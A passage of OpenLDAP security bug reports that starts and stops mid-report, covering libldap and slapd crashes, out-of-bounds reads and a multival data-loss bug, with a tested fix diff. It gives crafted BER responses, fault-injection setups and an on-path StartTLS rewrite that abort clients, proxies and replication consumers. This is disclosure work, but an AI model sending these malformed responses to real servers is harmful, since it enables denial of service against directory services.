30 1f 02 01 02 79 1a 80 18 31 2e 33 2e 36 2e 31 2e 34 2e 31 2e 34 32 30
33 2e 31 2e 39 2e 31 2e 34
30 0c 02 01 02 65 07 0a 01 00 04 00 04 00
A proof-of-concept script is available and can be provided on request.
Actual Results:
The client aborts, exit 134: "io.c:353: ber_init: Assertion `bv != NULL'
failed." One run on 2.7.2 and one on 2.6.16 with the same input; of the 2.6.16
run only a one-line note was kept.
Expected Results:
ldap_sync_search_intermediate() returns an error (LDAP_DECODING_ERROR or
similar) for a Sync Info message without a value; the application does not
abort.
Build Date & Hardware:
OpenLDAP 2.7.2 and 2.6.16 libldap (release tags, built from source), Linux
aarch64, Ubuntu 24.04 userland, glibc 2.39. How the test program was compiled
and against which build of each version was not noted.
Additional Builds and Platforms:
- master, 2.5.20, Ubuntu package, Alpine/musl: not tested.
Additional Information:
Crash type: assertion failure (abort) in ber_init(), liblber io.c:353, called
from ldap_sync_search_intermediate(). The evidence is short: one test program,
one input, four lines of output, no negative control. The call site is
ldap_sync.c:465 in 2.6.16 and 2.7.2, by reading (not from the test output).
Not independently reproduced. The on-path variant was not run. No fix was
built or tested. Direction (untested): check the response value for NULL
before ber_init(). The same missing check in the response-control parsers is
reported separately as "libldap: response control without a value aborts the
client".
==============================================================================
Issue 3 of 6: "libldap: str2strval unchecked allocation leads to NULL deref"
(Medium)
==============================================================================
Overview:
In libraries/libldap/getdn.c, str2strval(), the branch for a value without
escapes sets val->bv_len = len and then calls LDAP_STRNDUPX() without checking
the result, and returns success; the neighbouring branches check their
allocation and return 1. If that allocation fails, the AVA value is { bv_len >
0, bv_val = NULL }. ldap_bv2dn_x() returns it as a parsed DN, and in slapd
dnPretty() -> LDAPRDN_rewrite() runs the syntax validator (UTF8StringValidate
/ IA5StringValidate), which reads from address NULL and crashes. The condition
is an allocation failure during DN parsing. With that condition, an anonymous
search through a back-ldap or back-meta proxy reaches the code, because the
proxy pretty-prints every DN-valued attribute returned by the remote server
(ldap_build_entry, back-ldap/search.c:801). The reproduction uses a fault
injector to make the allocation fail.
Steps to Reproduce:
1. Remote server: an ordinary slapd 2.6.16 with a back-mdb database, suffix
dc=example,dc=org, rootdn cn=admin,dc=example,dc=org with password admin,
on ldap://127.0.0.1:2389. Add ou=people and 40 users through LDAP (so that
the entries carry creatorsName and modifiersName):
for n in $(seq 1 40); do
ldapadd -x -H ldap://127.0.0.1:2389 -D cn=admin,dc=example,dc=org -w admin
<<E
dn: uid=user$n,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: user$n
cn: user$n
sn: surname$n
mail: user$n(a)example.org
userPassword: pw$n
E
done
2. Proxy configuration, /tmp/proxy/slapd.conf:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
include /etc/ldap/schema/nis.schema
modulepath /usr/lib/ldap
moduleload back_ldap
sizelimit unlimited
database config
rootdn "cn=config"
rootpw config
database ldap
suffix "dc=example,dc=org"
uri "ldap://127.0.0.1:2389"
idassert-bind bindmethod=simple binddn="cn=admin,dc=example,dc=org"
credentials=admin mode=none flags=non-prescriptive
idassert-authzFrom "*"
chase-referrals yes
network-timeout 10
timeout 15
access to * by * read
3. Allocation-failure injector: the proxy is started with an LD_PRELOAD
library that wraps malloc, calloc and realloc (forwarding with dlsym
RTLD_NEXT). It counts only calls whose caller, within the nearest seven
stack frames, is ldap_bv2dn_x; it neither counts nor fails calls made
through slapd's own allocators (ch_malloc, ch_calloc, ch_realloc,
ch_strdup, slap_sl_malloc, slap_sl_calloc, slap_sl_realloc), which exit on
failure by design. On a signal it resets its counter and reads an index N;
the Nth counted call after that returns NULL once (errno ENOMEM). Any
injector with that behaviour will do. The proxy runs as
LD_PRELOAD=/tmp/alloc-fail.so slapd -d 0 -f /tmp/proxy/slapd.conf -h
ldap://127.0.0.1:1389
in a loop that restarts it and records its exit status.
4. For N = 1 to 12: wait until the proxy answers, arm the injector with N,
then send anonymously through the proxy:
ldapsearch -x -H ldap://127.0.0.1:1389 -b
"uid=user5,ou=people,dc=example,dc=org" -s base "+"
A proof-of-concept script is available and can be provided on request.
Actual Results:
A repeat of the whole sweep again gave 4 exits with status 139.
schema_init.c:1825:9: runtime error: load of null pointer of type 'const
unsigned char'
ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
The signal is caused by a READ memory access.
#0 UTF8StringValidate servers/slapd/schema_init.c:1825
#1 LDAPRDN_rewrite servers/slapd/dn.c:328
#2 LDAPDN_rewrite servers/slapd/dn.c:407
#3 dnPretty servers/slapd/dn.c:563
#4 ordered_value_pretty servers/slapd/value.c:511
#5 ldap_build_entry servers/slapd/back-ldap/search.c:801
#6 ldap_back_search servers/slapd/back-ldap/search.c:374
Expected Results:
str2strval() returns an error when the allocation fails, the DN parse fails
cleanly and the proxy returns an error for that value or request; slapd keeps
running.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag), source builds: release build and a build with
-fsanitize=address,undefined and -DSLAP_NO_SL_MALLOC. Linux arm64 (aarch64),
Ubuntu 24.04 runtime (glibc); built with GCC 12.
Additional Builds and Platforms:
2.7.2 and master: the same code, by reading; not run. Distribution packages,
musl and x86-64: not tested. A run in which the allocation fails from real
memory exhaustion (without the injector) was not made.
Additional Information:
Crash type: NULL pointer read (SIGSEGV) in UTF8StringValidate()
(servers/slapd/schema_init.c:1825) or IA5StringValidate(), called from
LDAPRDN_rewrite() (dn.c:328) <- dnPretty().
Root cause (getdn.c:1533-1547 in 2.6.16): in str2strval(), the "escapes == 0"
branch,
} else {
val->bv_val = LDAP_STRNDUPX( startPos, len, ctx ); /* unchecked */
}
does not check the result, and the function returns 0. The two sibling value
parsers of that file (IA5 and DCE) have the same unchecked call. The same
parser is used for DN-valued attributes in Add and Modify requests and by
clients through ldap_str2dn(); those paths were not run.
Fix (not built, not tested): return 1 when LDAP_STRNDUPX() returns NULL in
those branches, as the other branches do.
Assessment (not measured): how easily a remote party can make that particular
allocation fail on a real server was not measured; other problems reported
separately allow a remote client to raise slapd's memory use, which is why the
condition is considered reachable.
==============================================================================
Issue 4 of 6: "libldap: assert on empty responseName in Extended response"
(Medium)
==============================================================================
Overview:
ldap_parse_extended_result() and ldap_parse_intermediate() decode the optional
responseName and then assert( resoid[ 0 ] != '\0' )
(libraries/libldap/extended.c:262 and :371). An Extended or Intermediate
response that contains the element with zero length (8a 00, respectively 80
00) aborts the calling process. This hits the command-line tools and, through
libldap, slapd: back-ldap with "tls start", back-ldap forwarding an extended
operation, and a syncrepl consumer (StartTLS answer, or an
IntermediateResponse to its sync search; no client is involved). The trigger
is the server being talked to, or a party in the network path of the cleartext
StartTLS exchange, which works even with tls_reqcert=demand because the abort
comes before the TLS handshake. A --disable-debug build does not abort.
Steps to Reproduce:
1. Test LDAP server: port 3890 answers normally; port 3891 answers every
extended request (StartTLS included) with ExtendedResponse(resultCode
success, responseName present with length 0); port 3893 answers every
search with an IntermediateResponse whose responseName is present with
length 0, followed by SearchResultDone(success). On the wire, for message
id 1:
30 0e 02 01 01 78 09 0a 01 00 04 00 04 00 8a 00 (ExtendedResponse)
30 07 02 01 01 79 02 80 00 (IntermediateResponse)
A proof-of-concept script is available and can be provided on request.
2. Tools:
ldapwhoami -x -ZZ -H ldap://127.0.0.1:3891
ldapsearch -x -H ldap://127.0.0.1:3893 -b ou=x,dc=fake -s base
Control: "ldapwhoami -x -Z -H ldap://127.0.0.1:3890" (StartTLS refused
normally).
3. slapd as proxy, /tmp/t/proxy.conf (adjust schema and module paths):
include /etc/ldap/schema/core.schema
modulepath /usr/lib/ldap
moduleload back_ldap
pidfile /tmp/t/proxy.pid
database ldap
suffix "dc=fake"
uri "ldap://127.0.0.1:3891"
database ldap
suffix "dc=tls"
uri "ldap://127.0.0.1:3891"
tls start
slapd -f /tmp/t/proxy.conf -h ldap://127.0.0.1:1389 -d stats
# first client request that makes the proxy connect with StartTLS
ldapsearch -x -H ldap://127.0.0.1:1389 -b ou=x,dc=tls -s base -LLL 1.1
# on a fresh proxy: a Password Modify extended operation forwarded
ldappasswd -x -H ldap://127.0.0.1:1389 -D cn=u,dc=fake -w x -s newpw
cn=u,dc=fake
4. slapd as syncrepl consumer, /tmp/t/consumer.conf; no client is needed:
include /etc/ldap/schema/core.schema
modulepath /usr/lib/ldap
moduleload back_mdb
pidfile /tmp/t/consumer.pid
database mdb
suffix "dc=repl"
directory /tmp/t/consumerdb
rootdn "cn=admin,dc=repl"
syncrepl rid=001 provider=ldap://127.0.0.1:3891 searchbase="dc=repl"
type=refreshAndPersist retry="5 +" bindmethod=simple binddn="cn=admin,dc=repl"
credentials=secret starttls=yes
slapd -f /tmp/t/consumer.conf -h ldap://127.0.0.1:1390 -d stats,sync
Variants: provider=ldap://127.0.0.1:3893 without the starttls option
(IntermediateResponse); control: provider=ldap://127.0.0.1:3890 without
starttls.
5. Network variant with certificate verification: an unmodified slapd 2.6.16
provider for "dc=real" (back-mdb, syncprov, TLSCACertificateFile,
TLSCertificateFile and TLSCertificateKeyFile from a test CA) on
127.0.0.1:2389; a TCP relay on 3900 forwarding to it; a proxy
database ldap
suffix "dc=real"
uri "ldap://localhost:3900"
tls start tls_cacert=/tmp/t/pki/ca.pem tls_reqcert=demand
and a consumer with provider=ldap://localhost:3900 and "starttls=critical
tls_cacert=/tmp/t/pki/ca.pem tls_reqcert=demand". The relay either passes
bytes unchanged (control) or replaces the upstream's first ExtendedResponse
(the StartTLS answer) by the 16-byte ExtendedResponse of step 1. Then:
ldapsearch -x -H ldap://127.0.0.1:1389 -b dc=real -s base -LLL 1.1
Actual Results:
Exit status 134 with
ldapwhoami: extended.c:262: ldap_parse_extended_result: Assertion 'resoid[
0 ] != '\0'' failed.
ldapsearch: extended.c:371: ldap_parse_intermediate: Assertion 'resoid[ 0 ]
!= '\0'' failed.
on the 2.6.16 and 2.7.2 release builds for: ldapwhoami -ZZ and -Z; ldapsearch
(IntermediateResponse); slapd with back-ldap "tls start" on the first client
request; slapd with back-ldap forwarding a Password Modify extended operation
from a bound client; a syncrepl consumer with starttls=yes when it connects; a
syncrepl consumer receiving the IntermediateResponse (extended.c:371). The
controls keep running (tool exit 0). Network variant: with the relay unchanged
TLS 1.3 is established and search and replication work; with the rewritten
answer the proxy and the consumer abort at extended.c:262 before the TLS
handshake starts. A consumer whose provider keeps answering this way aborts at
every start (three starts, three aborts). Ubuntu 24.04 package 2.6.10: aborts
(extended.c:262), one run. A 2.6.16 build with --disable-debug does not abort:
StartTLS fails with an error and the tools report an error.
Expected Results:
An empty responseName should be treated as a decoding error
(LDAP_DECODING_ERROR) returned to the caller, so that the tool reports an
error, back-ldap answers the client "Start TLS failed", and a syncrepl
consumer keeps running and retries.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source with
the default configure options, OpenSSL 3, Cyrus SASL, backends and overlays as
modules), Linux aarch64 (arm64), glibc.
Additional Builds and Platforms:
OpenLDAP 2.7.2 (release tag, built from source, aarch64): reproduces. master:
by reading, not run. Ubuntu 24.04 package 2.6.10: aborts, one run. 2.6.16
built with --disable-debug: no abort. A vendor's LDAP clients based on
OpenLDAP 2.4.28 (assertions at extended.c:244 and :353): ldapwhoami, ldapexop,
ldappasswd, ldapsearch -Z and -ZZ, and a search answered with such an
IntermediateResponse abort 3 of 3 each; a test program on that vendor's LDAP
library aborts in ldap_start_tls_s 3 of 3 and in ldap_whoami_s 1 of 1; a
system daemon of that vendor running as root, which makes the same StartTLS
call, died 2 of 2 (one series of runs, not reproduced a second time). Not
tested: musl, x86-64 Linux.
Additional Information:
Crash type: assertion failure (SIGABRT) in ldap_parse_extended_result()
(extended.c:262) and ldap_parse_intermediate() (extended.c:371), 2.6.16 line
numbers. The assertions are compiled in unless configure is run with
--disable-debug (include/ac/assert.h, configure.ac:230). Requiring StartTLS
and verifying the certificate does not protect against the network variant,
because the StartTLS exchange itself is cleartext; only ldaps:// or a fixed
libldap does. A replica whose provider (or network path) keeps answering this
way cannot be kept up until the provider URI is changed or the link is moved
to ldaps://. ITS#10370 ("libldap: don't assert on network input", fixed in
2.6.16 and 2.7) removed a neighbouring assertion for unsolicited notifications
and did not touch these two. A missing (not empty) responseName in an
IntermediateResponse crashes ldapsearch in a different way and is reported
separately as "ldapsearch: strcmp(NULL) on IntermediateResponse without OID".
The OpenLDAP results were reproduced independently a second time.
Other single responses from a remote server that stop the connecting process
are reported separately as "slapd: result code 9 from a proxied server aborts
slapd", "back-ldap: referral naming the proxy itself hangs slapd" and
"back-ldap: realloc of static buffer on repeated attribute", among others.
Fix (built and tested on the 2.6.16 release build, aarch64, against every
caller above): both functions treat an empty responseName as
LDAP_DECODING_ERROR (free the string and the BerElement, return). With the
patch back-ldap answers the client "Start TLS failed" and keeps running, the
consumer keeps running and retries, the forwarded extended operation is
refused, and ldapwhoami -ZZ exits with an error instead of 134. The same diff
also contains the fixes for "slapd: result code 9 from a proxied server aborts
slapd", "slapd glue: paged search into back-ldap subordinate crashes" and
"back-ldap: Compare result 32768 gives two responses, SIGSEGV". The OpenLDAP
test suite was not run and the patch was not built for 2.7.2. The output of
all callers is in results-2.6.16-2.7.2.txt. The fix is included with this
report as remote-response-asserts-fix-2.6.16.diff.
Suggested fix: Tested fix (2.6.16) for four remote-response problems;
extended.c returns LDAP_DECODING_ERROR for an empty responseName instead of
asserting.
diff -ru a/libraries/libldap/extended.c b/libraries/libldap/extended.c
--- a/libraries/libldap/extended.c 2026-11-10 20:04:28.746735268 +0000
+++ b/libraries/libldap/extended.c 2026-11-10 20:04:53.255198029 +0000
@@ -259,7 +259,13 @@
return ld->ld_errno;
}
- assert( resoid[ 0 ] != '\0' );
+ if ( resoid[ 0 ] == '\0' ) {
+ /* an empty responseName is not a valid LDAPOID */
+ LDAP_FREE( resoid );
+ ld->ld_errno = LDAP_DECODING_ERROR;
+ ber_free( ber, 0 );
+ return ld->ld_errno;
+ }
tag = ber_peek_tag( ber, &len );
}
@@ -368,7 +374,13 @@
return ld->ld_errno;
}
- assert( resoid[ 0 ] != '\0' );
+ if ( resoid[ 0 ] == '\0' ) {
+ /* an empty responseName is not a valid LDAPOID */
+ LDAP_FREE( resoid );
+ ld->ld_errno = LDAP_DECODING_ERROR;
+ ber_free( ber, 0 );
+ return ld->ld_errno;
+ }
tag = ber_peek_tag( ber, &len );
}
diff -ru a/servers/slapd/back-ldap/bind.c b/servers/slapd/back-ldap/bind.c
--- a/servers/slapd/back-ldap/bind.c 2026-11-10 20:04:28.758076434 +0000
+++ b/servers/slapd/back-ldap/bind.c 2026-11-10 20:04:53.255644404 +0000
@@ -1853,6 +1853,11 @@
rs->sr_err = rc;
}
rs->sr_err = slap_map_api2result( rs );
+ if ( rs->sr_err == SLAP_CB_CONTINUE ) {
+ /* the remote's result code collides with
slapd's
+ * internal "not handled" value: do not return
it */
+ rs->sr_err = LDAP_OTHER;
+ }
/* RFC 4511: referrals can only appear
* if result code is LDAP_REFERRAL */
diff -ru a/servers/slapd/back-ldap/search.c b/servers/slapd/back-ldap/search.c
--- a/servers/slapd/back-ldap/search.c 2026-11-10 20:04:28.758381143 +0000
+++ b/servers/slapd/back-ldap/search.c 2026-11-10 20:05:08.211433536 +0000
@@ -991,6 +991,10 @@
rc = ldap_pvt_search_s( lc->lc_ld, ndn->bv_val, LDAP_SCOPE_BASE,
filter,
attrp, LDAP_DEREF_NEVER, ctrls, NULL,
NULL, LDAP_NO_LIMIT, 0, &result );
+ if ( rc == SLAP_CB_CONTINUE ) {
+ /* remote result code colliding with an internal value */
+ rc = LDAP_OTHER;
+ }
if ( rc != LDAP_SUCCESS ) {
if ( rc == LDAP_SERVER_DOWN && do_retry ) {
do_retry = 0;
diff -ru a/servers/slapd/backglue.c b/servers/slapd/backglue.c
--- a/servers/slapd/backglue.c 2026-11-10 20:04:28.754667559 +0000
+++ b/servers/slapd/backglue.c 2026-11-10 20:04:53.255493654 +0000
@@ -603,13 +603,13 @@
if ( op->o_bd !=
gi->gi_n[0].gn_be || cps->ps_cookie == NOID ) {
int c;
- for ( c = 0;
gs.ctrls[c] != NULL; c++ ) {
+ for ( c = 0; gs.ctrls
!= NULL && gs.ctrls[c] != NULL; c++ ) {
if ( strcmp(
gs.ctrls[c]->ldctl_oid, LDAP_CONTROL_PAGEDRESULTS ) == 0 ) {
break;
}
}
- if ( gs.ctrls[c] !=
NULL ) {
+ if ( gs.ctrls != NULL
&& gs.ctrls[c] != NULL ) {
BerElementBuffer berbuf;
BerElement
*ber = (BerElement *)&berbuf;
ber_tag_t
tag;
@@ -619,7 +619,12 @@
ber_init2( ber,
&gs.ctrls[c]->ldctl_value, LBER_USE_DER );
tag =
ber_scanf( ber, "{im}", &size, &cookie );
- assert( tag !=
LBER_ERROR );
+ if ( tag ==
LBER_ERROR ) {
+ /*
malformed control from a subordinate
+ *
(e.g. a remote server): end paging here */
+
rs->sr_err = gs.err = LDAP_OTHER;
+ goto
end_of_loop;
+ }
if (
BER_BVISEMPTY( &cookie ) && op->o_bd != gi->gi_n[0].gn_be ) {
/*
delete old, create new cookie with NOID */
diff -ru a/servers/slapd/compare.c b/servers/slapd/compare.c
--- a/servers/slapd/compare.c 2026-11-10 20:04:28.754834351 +0000
+++ b/servers/slapd/compare.c 2026-11-10 20:04:53.255539779 +0000
@@ -320,6 +320,11 @@
break;
case LDAP_SUCCESS:
+ if ( vals == NULL ) {
+ /* "success" without values (see
over_acl_attribute) */
+ rs->sr_err = LDAP_OTHER;
+ break;
+ }
if ( value_find_ex( op->oq_compare.rs_ava->aa_desc,
SLAP_MR_ATTRIBUTE_VALUE_NORMALIZED_MATCH |
SLAP_MR_ASSERTED_VALUE_NORMALIZED_MATCH,
diff -ru a/servers/slapd/result.c b/servers/slapd/result.c
--- a/servers/slapd/result.c 2026-11-10 20:04:28.756986518 +0000
+++ b/servers/slapd/result.c 2026-11-10 20:04:53.255109821 +0000
@@ -874,7 +874,15 @@
rs->sr_type = REP_RESULT;
- assert( rs->sr_err != LDAP_PARTIAL_RESULTS );
+ if ( rs->sr_err == LDAP_PARTIAL_RESULTS ) {
+ /* an LDAPv2-only code can only get here from a remote server
+ * (back-ldap/meta/asyncmeta, chain); never trust it */
+ rs->sr_err = LDAP_OTHER;
+ if ( rs->sr_text == NULL ) {
+ rs->sr_text = "invalid result code from remote server";
+ }
+ rs->sr_ref = NULL;
+ }
if ( rs->sr_err == LDAP_REFERRAL ) {
if( op->o_domain_scope ) rs->sr_ref = NULL;
==============================================================================
Issue 5 of 6: "libldap: strval2strlen reads past truncated UTF-8 sequence"
(Low)
==============================================================================
Overview:
strval2strlen() (libraries/libldap/getdn.c) computes the string length of an
AVA value by stepping over multibyte UTF-8 characters. For a UTF8String value
that ends in a truncated multibyte sequence it steps past the end of the value
and reads up to 5 bytes beyond it.
It was observed only in a test harness that passes an exact-size heap buffer
to ldap_X509dn2bv(). In slapd the value is part of a larger certificate buffer
and the read stays inside it, so no effect on slapd was seen.
Steps to Reproduce:
1) Build a small program, linked against an AddressSanitizer build of libldap
2.6.16, that reads a DER-encoded X.509 Name into an exact-size heap buffer
(no terminator) and calls ldap_X509dn2bv() on it:
static struct berval mkbv(const unsigned char *p, size_t n) {
struct berval b; b.bv_len = n; b.bv_val = calloc(1, n ? n : 1);
if (n) memcpy(b.bv_val, p, n); return b;
}
static void do_x509(const unsigned char *p, size_t n) {
struct berval in = mkbv(p, n), out = {0, NULL};
int rc = ldap_X509dn2bv(&in, &out, NULL, 0);
if (rc == 0) free(out.bv_val);
free(in.bv_val);
}
2) Feed it a Name SEQUENCE { SET { SEQUENCE { OID 2.5.4.3, UTF8String (tag
0x0C) value } } } whose value ends in the lead byte of a multibyte sequence
with no continuation bytes (for example a final byte 0xF8 or 0xFC) and
whose last byte is the last byte of the buffer.
The harness used was a general conversion test program with a random mode; the
exact input that produced the report was not saved, so the input in step 2
follows the description of the defect and is not a saved file. A
proof-of-concept script is available and can be provided on request.
Actual Results:
ASan: "heap-buffer-overflow ... READ of size 1" in strval2strlen
(getdn.c:2085) <- rdn2strlen (getdn.c:2567) <- ldap_dn2bv_x (getdn.c:3059) <-
ldap_X509dn2bv (tls2.c:1708).
Expected Results:
A truncated multibyte sequence at the end of a value is rejected (or the scan
stops at the value's end) without reading beyond the value.
Build Date & Hardware:
OpenLDAP 2.6.16 libldap (release tag, built from source with
-fsanitize=address,undefined), Linux aarch64, Ubuntu 24.04 userland, glibc
2.39.
Additional Builds and Platforms:
- 2.7.2: the same lines by reading; not run.
- master, 2.5.20, Ubuntu package, Alpine/musl, x86-64: not tested.
Additional Information:
Sanitizer finding in a harness only; no crash of slapd or of a client tool was
seen. Reachability through other callers of ldap_dn2bv_x() with exact-size
buffers was not examined.
Root cause: getdn.c:2085, strval2strlen(): the multibyte step is not checked
against the value length.
The evidence is thin (one sanitizer trace, cut after the stack, from the
random mode of the harness). No fix was built or tested; not independently
reproduced. Suggested direction (untested): in strval2strlen(), check the
length of the multibyte character against the remaining length of the value
before stepping, and return an error for a truncated sequence.
Related report, found in the same harness work: "libldap: ldap_X509dn2bv
overflow on DN with nested AVAs".
==============================================================================
Issue 6 of 6: "libldap: put_simple_vrFilter reads str[-1] for item "(=x)""
(Low)
==============================================================================
Overview:
put_simple_vrFilter() in libraries/libldap/filter.c (the encoder for the
ValuesReturnFilter control, called from ldap_put_vrFilter()) finds the '=' of
a simple item with strchr(), then steps back one character and switches on it.
When the item starts with '=' this reads str[-1], one byte before the heap
copy of the string, and writes a NUL there if that byte happens to be '<',
'>', '~' or ':'. ITS#9937 (commit 139943cc11) added the guard "if ( str[0] ==
'=' ) return -1;" to put_simple_filter() only. The input is local: the string
an application or a user passes, for example ldapsearch -E 'mv=(=x)'. Seen
with AddressSanitizer only.
Steps to Reproduce:
1. With ldapsearch (no server is needed: the control is rejected while the
request is being built, before a connection is made, so any URI will do):
ldapsearch -x -H ldap://127.0.0.1:1389 -b dc=example,dc=org -s base \
-E 'mv=(=x)' dn
2. Or from a small program linked with libldap and liblber:
#include <lber.h>
#include <ldap.h>
int main(void)
{
BerElement *ber = ber_alloc_t( LBER_USE_DER );
return ldap_put_vrFilter( ber, "(=x)" );
}
The two-line program was not itself run; it makes the same call as the fuzzing
harness whose sanitizer report is included as
asan-2.6.16-ldap_put_vrFilter.txt. A proof-of-concept script is available and
can be provided on request.
Actual Results:
AddressSanitizer build of the 2.6.16 ldapsearch (step 1):
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
#0 put_simple_vrFilter libraries/libldap/filter.c:997
#1 put_vrFilter libraries/libldap/filter.c:880
#2 ldap_put_vrFilter libraries/libldap/filter.c:935
#3 (ldapsearch)
The harness calling ldap_put_vrFilter() with the same string, built from the
2.6.16 tree with AddressSanitizer, gives the same report with
... is located 1 bytes to the left of 3-byte region
allocated by thread T0 here:
#2 ber_strdup_x libraries/liblber/memory.c:643
#3 put_simple_vrFilter libraries/libldap/filter.c:987
The 3-byte region is the copy of "=x" and its terminator. Release ldapsearch
2.6.16 prints "Bad ValuesReturnFilter: (=x)" and exits 1, with no other
visible effect.
Expected Results:
put_simple_vrFilter() should reject an item that starts with '=' before
looking at the preceding character, as put_simple_filter() does since
ITS#9937.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag), built from source with GCC 12: client tools and
libldap built with -fsanitize=address, and a release build. Linux arm64
(aarch64), Ubuntu 24.04 runtime (glibc).
Additional Builds and Platforms:
2.7.2 and master: the same code without the guard (put_simple_vrFilter() at
line 1005, put_simple_filter()'s guard at line 588), by reading; not run.
Distribution packages, musl and x86-64: not tested.
Additional Information:
Type: out-of-bounds read of one byte before a heap buffer, and a conditional
one-byte NUL write at the same place, in put_simple_vrFilter(),
libraries/libldap/filter.c:997 (2.6.16; the function starts at line 975, the
buffer is the LDAP_STRDUP at line 987).
Root cause: after "*s-- = '\0';" s points at str[-1] when the '=' is the first
character, and "switch ( *s )" reads it; the matching cases write '\0' there.
put_simple_filter() has had the guard since commit 139943cc11 ("ITS#9937
libldap: fix put_simple_filter() with invalid filter"); the vrFilter copy of
the code does not.
No fix was built or tested. Direction (untested): after the LDAP_STRDUP add
"if ( str[0] == '=' ) goto done;" with the return value left at -1. Found by
fuzzing the filter encoder.
Assessment (not measured): the conditional write needs the byte before the
string to be one of four characters; that was not produced in a run. Exposure
is limited to applications that pass an untrusted string to
ldap_put_vrFilter().
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10717
Issue ID: 10717
Summary: back-mdb: enabling multival on existing data drops
values - HIGH
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: backends
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
When olcDbMultival (multival <attrs> <hi>,<lo>) is enabled or lowered on a
database whose entries already hold more than <hi> values of the attribute,
nothing migrates the existing data. On the first modify that rewrites such an
entry, mdb_entry_encode() classifies the attribute as SLAP_ATTR_BIG_MULTI and
leaves its values out of the entry blob, while mdb_id2entry_put() writes such
values to the separate table only when the entry is being added. A modify of
any other attribute therefore returns success and leaves the attribute with no
values.
The next modify of the entry aborts slapd in entry_schema_check() (assertion;
assertions are enabled in release builds), and the damaged entry is on disk,
so this repeats after every restart. The precondition is a configuration
change by an administrator; after it, ordinary write traffic causes the data
loss and any writer of an affected entry (self-write is enough) triggers the
abort.
Steps to Reproduce:
1) Start slapd 2.6.16 from this slapd.conf (adjust schema and module paths to
the install prefix), converted to cn=config so that the mdb database is
olcDatabase={1}mdb,cn=config:
include /etc/openldap/schema/core.schema
include /etc/openldap/schema/cosine.schema
include /etc/openldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
database config
rootdn cn=admin,cn=config
rootpw config
database mdb
suffix dc=example,dc=org
rootdn cn=admin,dc=example,dc=org
rootpw admin
directory /tmp/repro/db
maxsize 268435456
index objectClass eq
access to attrs=userPassword by self write by anonymous auth by * none
access to * by self write by users read by * none
2) Load the suffix, ou=people, ou=groups, a group
cn=biggrp,ou=groups,dc=example,dc=org (groupOfNames, description "team")
with 60 member values, and uid=carol,ou=people,dc=example,dc=org
(inetOrgPerson, userPassword carol-pass, telephoneNumber) with 60
description values. The data set used is in base.ldif (see Additional
Information); an equivalent one for the steps below:
{
printf 'dn: dc=example,dc=org\nobjectClass: dcObject\nobjectClass:
organization\no: Example\ndc: example\n\n'
for ou in people groups; do printf 'dn:
ou=%s,dc=example,dc=org\nobjectClass: organizationalUnit\nou: %s\n\n' $ou $ou;
done
printf 'dn: uid=carol,ou=people,dc=example,dc=org\nobjectClass:
inetOrgPerson\nuid: carol\ncn: Carol Clark\nsn: Clark\n'
printf 'telephoneNumber: +1 555 0100\nuserPassword: carol-pass\n'
for i in $(seq -w 1 60); do echo "description: note $i of carol's own
entry"; done; echo
printf 'dn: cn=biggrp,ou=groups,dc=example,dc=org\nobjectClass:
groupOfNames\ncn: biggrp\ndescription: team\n'
for i in $(seq -w 1 60); do echo "member:
uid=m$i,ou=people,dc=example,dc=org"; done
} > /tmp/repro/base.ldif
mkdir -p /tmp/repro/db; slapadd -f slapd.conf -l /tmp/repro/base.ldif
3) As the cn=config administrator apply:
dn: olcDatabase={1}mdb,cn=config
changetype: modify
add: olcDbMultival
olcDbMultival: member,description 50,20
4) Modify the group's description as the directory administrator, and as carol
modify her own telephoneNumber. Then count the values and let carol modify
her entry once more:
U=ldap://127.0.0.1:1389
ADM="-x -H $U -D cn=admin,dc=example,dc=org -w admin"
CAR="-x -H $U -D uid=carol,ou=people,dc=example,dc=org -w carol-pass"
GRP=cn=biggrp,ou=groups,dc=example,dc=org
CAROL=uid=carol,ou=people,dc=example,dc=org
mod() { printf 'dn: %s\nchangetype: modify\nreplace: %s\n%s: %s\n' "$2"
"$3" "$3" "$4" | ldapmodify $1; }
count() { ldapsearch $ADM -LLL -o ldif-wrap=no -b "$1" -s base "$2" | grep
-c "^$2:"; }
count $GRP member; count $CAROL description # 60 and 60
ldapmodify -x -H $U -D cn=admin,cn=config -w config -f enable-multival.ldif
count $GRP member; count $CAROL description # still 60 and 60
mod "$ADM" $GRP description "renamed team" # result 0
mod "$CAR" $CAROL telephoneNumber "+1 555 4242" # result 0
count $GRP member; count $CAROL description # 0 and 0
mod "$CAR" $CAROL telephoneNumber "+1 555 4243" # slapd aborts
5) Start slapd again on the same data directory and repeat the last command.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Before and immediately after step 3 both attributes show 60 values. Both
modifies in step 4 return 0; afterwards member and description have 0 values.
The next self-modify gets no reply and slapd logs "schema_check.c:89:
entry_schema_check: Assertion 'a->a_vals[0].bv_val != NULL' failed" (line 82
on 2.7.2). After the restart the values are still gone and the same
self-modify aborts slapd a second time.
In an earlier run, not repeated with the commands above: the same loss when
the directive is added offline to slapd.d and slapd is restarted (60 members
-> 0, then the assertion); a Delete aborts in octetStringIndexer ("Assertion
'i > 0'") when the attribute is indexed.
Expected Results:
Existing values are migrated to the multival table on the first write (or the
configuration change is refused until the data is converted); no values are
lost and no assertion is reachable from on-disk data.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag, built from source), Linux aarch64, Ubuntu 24.04
userland, glibc 2.39.
Additional Builds and Platforms:
- 2.7.2 (release tag): reproduced in an earlier run; not repeated with the
commands above.
- master 7ae14ef466: the "adding && ec.multi" branch is unchanged, by reading.
- 2.5.20, Ubuntu package, Alpine/musl: not tested.
Additional Information:
Crash type: assertion failure (abort) in entry_schema_check(),
